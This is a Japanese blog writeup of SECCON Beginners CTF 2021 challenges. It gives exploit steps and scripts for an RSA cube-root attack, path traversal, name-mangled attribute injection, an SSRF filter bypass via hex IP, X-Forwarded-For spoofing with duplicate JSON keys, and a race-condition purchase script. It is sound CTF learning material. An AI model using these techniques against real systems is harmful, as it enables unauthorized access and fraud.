3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

【SECCON Begginers CTF 2021】俺なりのwriteup

Last updated at Posted at 2021-05-23

#はじめに
SECCON Begginers CTF 2021にチームIronMaidenで参加していました。
自分は主にwebを解いていました。最終的にチームは207/943位でした。
crypto1問、web5問のwriteupを以下に記します。

#【crypto】 simple_RSA
問題文 : Let's encrypt it with RSA!

output.txtに記載されているnecの値と、problem.pyからflagをとる。

output.txt
n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3
c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613
problem.py
from Crypto.Util.number import *
from flag import flag

flag = bytes_to_long(flag.encode("utf-8"))

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 3

assert 2046 < n.bit_length()
assert 375 == flag.bit_length()

print("n =", n)
print("e =", e)
print("c =", pow(flag, e, n))

RSA暗号の基本的な問題。
e = 3と2つのassertから $m^e < n$が成り立つ。
つまり$c = m^e \ mod \ n = m^e$。後はce乗根を求める。

この記事を参考にする。

solve.py
import sys
import gmpy2
from Crypto.Util.number import *

n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3

c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613

m,result = gmpy2.iroot(c,e)

print(long_to_bytes(m))
$ python3 solve.py
b"ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}"

#【web】 osoba
問題文 : 美味しいお蕎麦を食べたいですね。フラグはサーバの/flagにあります!
問題ページ : https://score.beginners.azure.noc.seccon.jp/challenges

app.py
from flask import Flask, request, send_file, make_response

app = Flask(__name__)

@app.route("/", methods=["GET", "POST"])
def index():
    page = request.args.get('page', 'public/index.html')    
    response = make_response(send_file(page))
    response.content_type = "text/html"
    return response

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8080)

app.pyより、pageクエリパラメータに表示するページを渡せることがわかる。

page = request.args.get('page', 'public/index.html')    

https://osoba.quals.beginners.seccon.jp/?page=/flag を叩くとflagゲット。

#【web】 Werewulf

問題文 : I wish I could play as a werewolf...
問題ページ : https://werewolf.quals.beginners.seccon.jp/

app.py
import os
import random
from flask import Flask, render_template, request, session

# ====================

app = Flask(__name__)
app.FLAG = os.getenv("CTF4B_FLAG")

# ====================

class Player:
    def __init__(self):
        self.name = None
        self.color = None
        self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
        # :-)
        # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])

    @property
    def role(self):
        return self.__role

    # :-)
    # @role.setter
    # def role(self, role):
    #     self.__role = role


# ====================

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == 'GET':
        return render_template('index.html')

    if request.method == 'POST':
        player = Player()

        for k, v in request.form.items():
            player.__dict__[k] = v

        return render_template('result.html',
            name=player.name,
            color=player.color,
            role=player.role,
            flag=app.FLAG if player.role == 'WEREWOLF' else ''
        )

# ====================

if __name__ == '__main__':
    app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))

app.pyより、roleWEREWOLFにするとflagが得られることがわかる。
roleは配列からランダムに割り当てられており、配列の要素にWEREWOLFは含まれない。

以下のコード部分よりリクエストフォームに指定した値でroleを指定できそう。

for k, v in request.form.items():
    player.__dict__[k] = v

しかし、そのまま__role=WerewulfとしてもroleWerewulfにならない。

この記事によると、クラス内の先頭に__がついた変数の名前は「_クラス名+変数名」に変換されることがわかる。

なので、_Player__role=Werewulfとするとflagが取れる。
以下、左部分が送信したリクエスト。

スクリーンショット 2021-05-22 16.10.51.png

#【web】 check_url
問題文 : Have you ever used curl ?
問題ページ : https://check-url.quals.beginners.seccon.jp/

index.php
<!-- HTML Template -->
          <?php
            error_reporting(0);
            if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
              echo "Hi, Admin or SSSSRFer<br>";
              echo "********************FLAG********************";
            }else{
              echo "Here, take this<br>";
              $url = $_GET["url"];
              if ($url !== "https://www.example.com"){
                $url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
              }
              if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
                die("do not hack me!");
              }
              echo "URL: ".$url."<br>";
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
              curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
              echo "<iframe srcdoc='";
              curl_exec($ch);
              echo "' width='750' height='500'></iframe>";
              curl_close($ch);
            }
          ?>
<!-- HTML Template -->

index.phpより127.0.0.1としてアクセスできるとflagが取れる。

https://check-url.quals.beginners.seccon.jp/?url=http://127.0.0.1を叩いても、以下のように変換されてしまう。

スクリーンショット 2021-05-23 23.42.19.png

変換部分はこれ。

$url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing

この記事を見ると、127.0.0.1を16進数で表現したものが見つかる。

https://check-url.quals.beginners.seccon.jp/?url=http://0x7f000001を叩くと、flag取れる。

#【web】 json
問題文 : 外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
問題ページ : https://json.quals.beginners.seccon.jp/

配布されたコードの構成。
apiサーバーとbuffサーバーがある。

.
├── api
│   ├── Dockerfile
│   ├── go.mod
│   ├── go.sum
│   └── main.go
├── bff
│   ├── Dockerfile
│   ├── go.mod
│   ├── go.sum
│   ├── main.go
│   └── templates
│       ├── error.tmpl
│       └── index.html
├── docker-compose.yml
├── nginx
│   ├── Dockerfile
│   └── default.conf

問題ページを見ると、192.168.111.0/24からアクセスしないといけないことがわかる。
スクリーンショット 2021-05-23 23.56.06.png

サーバ側ではgoのginが使用されており、クライアントのIPアドレスは以下の部分で取得されている。

clientIP := c.ClientIP()

調べるとCVE-2020-28483が見つかり、ginのclinetIPはリクエストのヘッダX-Forwarded-Forに指定したアドレスでスプーフィングが可能であることがわかる。

つまり、リクエストヘッダにX-Forwarded-For: 192.168.111.0をつけると内部ページにアクセス可能になる。

スクリーンショット 2021-05-22 20.19.38.png

リクエストは最初buffサーバに送られ、以下のvalidationを突破するとapiサーバに送られる。

// validation
if info.ID < 0 || info.ID > 2 {...}
if info.ID == 2 {...}

validationによるとid01でないといけない。
しかし、apiサーバはidが2の時にflagをくれる(理不尽)。

if id == 2 {
    // Flag!!!
    flag := os.Getenv("FLAG")
    c.String(200, flag)
    return
}

またいろいろ調べていると、この記事が見つかる。

キーを衝突させるとどうやら面白いことが起こりそうなので、衝突させてみる。
以下のようなjsonを送りつける。

{
    "id": 2,
    "id": 1
}

flagが取れた。
スクリーンショット 2021-05-22 23.08.46.png

#【web】 cant_use_db
問題文:
Can't use DB.
I have so little money that I can't even buy the ingredients for ramen.
🍜

問題ページ: https://cant-use-db.quals.beginners.seccon.jp/

スクリーンショット 2021-05-24 0.23.47.png

app.py
import os
import re
import time
import random
import shutil
import secrets
import datetime
from flask import Flask, render_template, session, redirect

app = Flask(__name__)
app.secret_key = secrets.token_bytes(256)


def init_userdata(user_id):
    try:
        os.makedirs(f"./users/{user_id}", exist_ok=True)
        open(f"./users/{user_id}/balance.txt", "w").write("20000")
        open(f"./users/{user_id}/noodles.txt", "w").write("0")
        open(f"./users/{user_id}/soup.txt", "w").write("0")
        return True
    except:
        return False


def get_userdata(user_id):
    try:
        balance = open(f"./users/{user_id}/balance.txt").read()
        noodles = open(f"./users/{user_id}/noodles.txt").read()
        soup = open(f"./users/{user_id}/soup.txt").read()
        return [int(i) for i in [balance, noodles, soup]]
    except:
        return [0] * 3


@app.route("/")
def top_page():
    user_id = session.get("user")
    if not user_id:
        dirnames = datetime.datetime.now()
        user_id = f"{dirnames.hour}{dirnames.minute}/" + secrets.token_urlsafe(30)
        if not init_userdata(user_id):
            return redirect("/")
        session["user"] = user_id
    userdata = get_userdata(user_id)
    info = {
        "user_id": re.sub("^[0-9]*?/", "", user_id),
        "balance": userdata[0],
        "noodles": userdata[1],
        "soup": userdata[2]
    }
    return render_template("index.html", info = info)


@app.route("/buy_noodles", methods=["POST"])
def buy_noodles():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 10000:
        noodles += 1
        open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 10000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸$10000"
    return "ERROR: INSUFFICIENT FUNDS"


@app.route("/buy_soup", methods=["POST"])
def buy_soup():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    if balance >= 20000:
        soup += 1
        open(f"./users/{user_id}/soup.txt", "w").write(str(soup))
        time.sleep(random.uniform(-0.2, 0.2) + 1.0)
        balance -= 20000
        open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
        return "💸💸$20000"
    return "ERROR: INSUFFICIENT FUNDS"


@app.route("/eat")
def eat():
    user_id = session.get("user")
    if not user_id:
        return redirect("/")
    balance, noodles, soup = get_userdata(user_id)
    shutil.rmtree(f"./users/{user_id}/")
    session["user"] = None
    if (noodles >= 2) and (soup >= 1):
        return os.getenv("CTF4B_FLAG")
    if (noodles >= 2):
        return "The noodles seem to get stuck in my throat."
    if (soup >= 1):
        return "This is soup, not ramen."
    return "Please make ramen."


if __name__ == "__main__":
    app.run()

どうやら残高が20000ドルで、10000ドルのNoodlesを2個と20000ドルのSoupを1個買えるとflagが取れそう(理不尽)。
buy_noodles()buy_soup()を見ると、残高を減らす処理の前に約1秒のsleep処理があります。

time.sleep(random.uniform(-0.2, 0.2) + 1.0)

このことから約1秒の間にbuy_noodles()を2回、buy_soup()を1回呼び出すことができれば、残高をごまかしてNoodlesを2個、Soupを1個買うことができそう。

solve.py
#!/usr/bin/env python

import asyncio
import requests
import time
import threading
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def buy_noodle(cookie):
    r = requests.post(url + "/buy_noodles", verify=False, cookies=cookie)
    print(r.text)


def buy_soup(cookie):
    r = requests.post(url + "/buy_soup", verify=False, cookies=cookie)
    print(r.text)

url = "https://cant-use-db.quals.beginners.seccon.jp"

r1 = requests.get(url + "/", verify=False)
cookie = r1.cookies

# 非同期で/buy_noodlesを2回、/buy_soupを1回叩く
loop = asyncio.get_event_loop()
loop.run_in_executor(None, buy_noodle, cookie)
loop.run_in_executor(None, buy_noodle, cookie)
loop.run_in_executor(None, buy_soup, cookie)

time.sleep(3)

r5 = requests.get(url + "/eat", verify=False, cookies=cookie)
print(r5.text)

solve.pyを実行するとflagが取れます。

$ python3 solve.py
💸$10000
💸$10000
💸💸$20000
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}

おわりに

去年は1問も解けなかったSECCON Beginners CTFでしたが、今年は計6問解くことができました!
成長を実感することができ、嬉しい限りです。
運営の皆さん、お疲れ様でした。ありがとうございます!

3
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?